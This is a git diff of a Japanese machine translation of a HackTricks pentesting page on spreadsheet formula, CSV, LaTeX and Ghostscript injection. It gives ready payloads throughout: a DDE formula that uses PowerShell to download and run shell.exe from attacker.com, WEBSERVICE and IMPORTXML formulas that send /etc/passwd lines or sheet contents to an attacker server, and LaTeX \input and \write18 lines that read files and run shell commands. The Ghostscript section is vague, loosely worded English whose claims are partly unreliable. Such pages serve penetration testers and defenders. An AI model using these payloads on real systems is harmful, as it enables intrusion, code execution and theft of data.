Translated ['pentesting-web/formula-csv-doc-latex-ghostscript-injection.

This commit is contained in:
Translator 2024-05-07 11:04:22 +00:00
parent 5f265660ef
commit e53b17ed81

View file

@ -1,35 +1,35 @@
# フォーミュラ/CSV/ドキュメント/LaTeX/GhostScript インジェクション # フォーミュラ/CSV/ドキュメント/LaTeX/GhostScriptインジェクション
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れ - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する - **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## フォーミュラ インジェクション ## フォーミュラインジェクション
### 情報 ### 情報
もし、あなたの **入力****CSV ファイル**(またはおそらく **Excel で開かれる可能性のある他のファイル**)に **反映** されている場合、Excel に **フォーミュラ** を入れることができ、ユーザーがファイルを **開いたとき** Excel シート内の **リンクをクリックしたとき** **実行** されるかもしれません。 もし、あなたの**入力**が**CSVファイル**(またはおそらく**Excel**で開かれる他のファイル)内に**反映**されている場合、Excel **フォーミュラ**を入れることができ、ユーザーがファイルを**開いたとき**やExcelシート内のリンクを**クリックしたとき**に**実行**されるかもしれません。
{% hint style="danger" %} {% hint style="danger" %}
現在、**Excel は**(何度も)**ユーザーに警告を表示** し、悪意のある行動を防ぐために Excel の外部からの読み込みが行われるときに特別な注意が必要です。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意を払う必要があります。 現在、**Excelは**(何度も)**外部からExcelに読み込まれるとユーザーに警告**を表示し、悪意ある行動を防ぐための特別な工夫が必要です。そのため、最終ペイロードにはソーシャルエンジニアリングに特別な注意を払う必要があります。
{% endhint %} {% endhint %}
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads) ### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
@ -43,11 +43,11 @@ DDE ("cmd";"/C calc";"!A0")A0
``` ```
### ハイパーリンク ### ハイパーリンク
**次の例は、最終的なExcelシートからコンテンツを外部に流出させ、任意の場所にリクエストを実行するのに非常に役立ちます。ただし、リンクをクリックして(警告プロンプトを受け入れる必要があります)。** **次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に役立ちます。ただし、リンクをクリックして(警告プロンプトを受け入れる必要があります)。**
次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。 次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。
学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に用意されたフィールドに有害な数式を入力することで実行されます。攻撃は次のように展開されます: 学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細のために意図されたフィールドに有害な数式を入力することによって行われます。攻撃は次のように展開されます:
1. **悪意のあるペイロードの注入:** 1. **悪意のあるペイロードの注入:**
* 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。 * 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。
@ -56,7 +56,7 @@ DDE ("cmd";"/C calc";"!A0")A0
* 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。 * 侵害に気づかない教師は、データをCSVファイルにエクスポートするためにアプリケーションの機能を使用します。
* 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。 * 開かれたCSVファイルには、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。
3. **攻撃のトリガー:** 3. **攻撃のトリガー:**
* 教師が、それが学生の詳細の正当な部分であると信じてハイパーリンクをクリックします。 * 教師が学生の詳細の正当な部分であると信じてハイパーリンクをクリックします。
* クリックすると、機密データ(スプレッドシートや教師のコンピューターからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。 * クリックすると、機密データ(スプレッドシートや教師のコンピューターからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。
4. **データの記録:** 4. **データの記録:**
* 攻撃者のサーバーは、教師のコンピューターから送信された機密データを受信して記録します。 * 攻撃者のサーバーは、教師のコンピューターから送信された機密データを受信して記録します。
@ -66,15 +66,15 @@ DDE ("cmd";"/C calc";"!A0")A0
**詳細については** [**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **をご確認ください。** **詳細については** [**元の投稿**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **をご確認ください。**
特定の構成や古いバージョンのExcelでは、Dynamic Data ExchangeDDEと呼ばれる機能を利用して任意のコマンドを実行できます。これを活用するには、次の設定を有効にする必要があります 特定の構成や古いバージョンのExcelでは、Dynamic Data ExchangeDDEと呼ばれる機能を利用して任意のコマンドを実行することができます。これを活用するには、次の設定を有効にする必要があります:
* ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、**Dynamic Data Exchange Server Launch** を有効にします。 * ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、**Dynamic Data Exchange Server Launch** を有効にします。
悪意のあるペイロードが含まれたスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、電卓アプリケーションを起動するには、ペイロードは次のようになります: 悪意のあるペイロードが含まれたスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、電卓アプリケーションを起動するには、ペイロードは次のようになります:
```markdown ```markdown
`=cmd|' /C calc'!xxx` =cmd|' /C calc'!xxx
``` ```
追加のコマンドも実行できます。たとえば、PowerShellを使用してファイルをダウンロードして実行することができます 追加のコマンドを実行することもできます。例えば、PowerShellを使用してファイルをダウンロードして実行することができます:
```bash ```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
``` ```
@ -82,36 +82,36 @@ DDE ("cmd";"/C calc";"!A0")A0
LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です: LibreOffice Calc はローカルファイルを読み取り、データを外部に送信するために使用できます。以下はいくつかの方法です:
- ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1` * ローカルの `/etc/passwd` ファイルから最初の行を読み取る:`='file:///etc/passwd'#$passwd.A1`
- 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))` * 読み取ったデータを攻撃者が制御するサーバーに送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * 複数行を送信する:`=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNSエクスフィルトレーション読み取ったデータを攻撃者が制御するDNSサーバーにDNSクエリとして送信する`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))` * DNS によるデータ送信(読み取ったデータを DNS クエリとして攻撃者が制御する DNS サーバーに送信`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets を使用した Out-of-BandOOBデータエクスフィルトレーション ### Google Sheets を使用した Out-of-BandOOBデータの送信
Google Sheets はOOBデータエクスフィルトレーションに悪用できる関数を提供しています: Google Sheets はOOBデータの送信に悪用できる関数を提供しています:
- **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)` * **CONCATENATE**: 文字列を連結します - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTXML**: 構造化データからデータをインポートします - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: RSSまたはATOMフィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTFEED**: RSS または ATOM フィードをインポートします - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: HTMLテーブルやリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTHTML**: HTML テーブルやリストからデータをインポートします - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: 他のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMPORTRANGE**: 他のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: 画像をセルに挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")` * **IMAGE**: 画像をセルに挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX インジェクション ## LaTeX インジェクション
通常、**LaTeXコードをPDFに変換するサーバー**は**`pdflatex`**を使用します。\ 通常、**LaTeX コードを PDF に変換する**インターネット上のサーバーは **`pdflatex`** を使用します。\
このプログラムは(無効にするコマンドの実行を許可または拒否するために3つの主要な属性を使用します: このプログラムは(非)コマンド実行を許可するために 3 つの主要な属性を使用します:
- **`--no-shell-escape`**: `\write18{command}` 構造を**無効**にします。たとえ texmf.cnf ファイルで有効になっていても。 * **`--no-shell-escape`**: `\write18{command}` 構文を無効にします。texmf.cnf ファイルで有効になっていても無効にします
- **`--shell-restricted`**: `--shell-escape` と同じですが、'安全'な事前定義の\*\*コマンドに**制限**されますUbuntu 16.04では、リストは `/usr/share/texmf/web2c/texmf.cnf` にあります)。 * **`--shell-restricted`**: `--shell-escape` と同じですが、事前定義された '安全' な一連のコマンドに **制限** されますUbuntu 16.04 ではリストが `/usr/share/texmf/web2c/texmf.cnf` にあります)。
- **`--shell-escape`**: `\write18{command}` 構造を**有効**にします。コマンドは任意のシェルコマンドです。通常、この構造はセキュリティ上の理由から許可されていません。 * **`--shell-escape`**: `\write18{command}` 構文を有効にします。コマンドは任意のシェルコマンドです。通常、セキュリティ上の理由からこの構文は許可されていません。
ただし、コマンドを実行する他の方法もありますので、RCEを回避するために `--shell-restricted` を使用することが非常に重要です。 ただし、コマンドを実行する他の方法もありますので、RCE を回避するために `--shell-restricted` を使用することが非常に重要です。
### ファイルの読み取り <a href="#read-file" id="read-file"></a> ### ファイルの読み取り <a href="#read-file" id="read-file"></a>
\[または $ などのラッパーを使用してインジェクションを調整する必要があるかもしれません \[ または $ などのラッパーを使用してインジェクションを調整する必要があります
```bash ```bash
\input{/etc/passwd} \input{/etc/passwd}
\include{password} # load .tex file \include{password} # load .tex file
@ -169,31 +169,24 @@ Google Sheets はOOBデータエクスフィルトレーションに悪用でき
## Get the value of shell_escape_commands without needing to read pdfetex.ini ## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
``` ```
### CSV to LaTeX Conversion with Ghostscript Injection ### Ghostscript Injection
--- #### Description
#### Attack Scenario Ghostscript is a powerful interpreter for the PostScript language and PDF. An attacker can inject malicious PostScript code into a CSV file that, when converted to a PDF using LaTeX, will be executed by Ghostscript. This can lead to remote code execution on the server.
An attacker can inject malicious LaTeX code into a CSV file that, when converted to a LaTeX document using a tool like `csv2latex`, can trigger a Ghostscript command execution. This can lead to arbitrary code execution on the server hosting the LaTeX to PDF conversion process.
#### Exploitation #### Exploitation
1. Craft a CSV file containing the malicious LaTeX code along with the Ghostscript injection payload. 1. Craft a CSV file containing the malicious PostScript code.
2. Convert the CSV file to a PDF using LaTeX.
2. Use a tool like `csv2latex` to convert the CSV file to a LaTeX document. 3. Upload the PDF file to the server.
4. Trigger the server to process the PDF file, causing Ghostscript to execute the injected code.
3. Compile the LaTeX document to PDF using a tool like `pdflatex`.
4. The Ghostscript command embedded in the LaTeX code will execute, leading to arbitrary code execution.
#### Mitigation #### Prevention
- **Input Validation:** Validate and sanitize user input to prevent injection attacks. - Validate and sanitize user input to prevent injection attacks.
- Restrict the functionalities allowed when converting files.
- **Restricted Environments:** Execute the conversion process in a restricted environment with limited permissions. - Keep software dependencies updated to patch known vulnerabilities.
- **Update Libraries:** Keep all libraries and tools up to date to patch any known vulnerabilities related to LaTeX processing.
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -212,9 +205,9 @@ An attacker can inject malicious LaTeX code into a CSV file that, when converted
``` ```
## Ghostscript Injection ## Ghostscript Injection
**チェック** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) **Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## 参考文献 ## References
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
@ -223,20 +216,20 @@ An attacker can inject malicious LaTeX code into a CSV file that, when converted
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**する * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォローする。**
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>